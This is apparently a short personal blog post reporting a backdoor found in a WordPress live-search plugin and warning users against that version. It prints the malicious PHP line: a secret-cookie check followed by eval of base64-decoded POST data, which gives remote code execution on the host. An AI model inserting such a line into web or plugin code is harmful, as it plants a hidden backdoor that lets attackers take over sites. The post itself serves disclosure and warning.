With this new theme I also saw that it was compatible with the “Addicted to live search plugin”^[1]. (Un)fortunately this plugin doesn’t work out of the box either, at least not if you do not have WordPress running directly in the root.

But… Since I was looking at the code to fix this I also found:

<?php if($_COOKIE['7b13cc987791f418']=="6d6bedf94c36d538"){ eval(base64_decode($_POST['file'])); exit; } ?>

No thank you very much!

So what did we learn: Never ever trust WordPress plugins… So do not use this (version of the) plugin, unless you know how to remove this piece of code!

I’ll check out after some sleep what WordPress has to offer when you find a vulnerability like this in a plugin, so perhaps users of it can be warned… And I’ll fix this plugin later also, to be continued…

Update: it seems that it’s fixed. Although I’m not sure how the WordPress auto-update feature could create a line of code like that (as in, this sounds like bollocks to me).
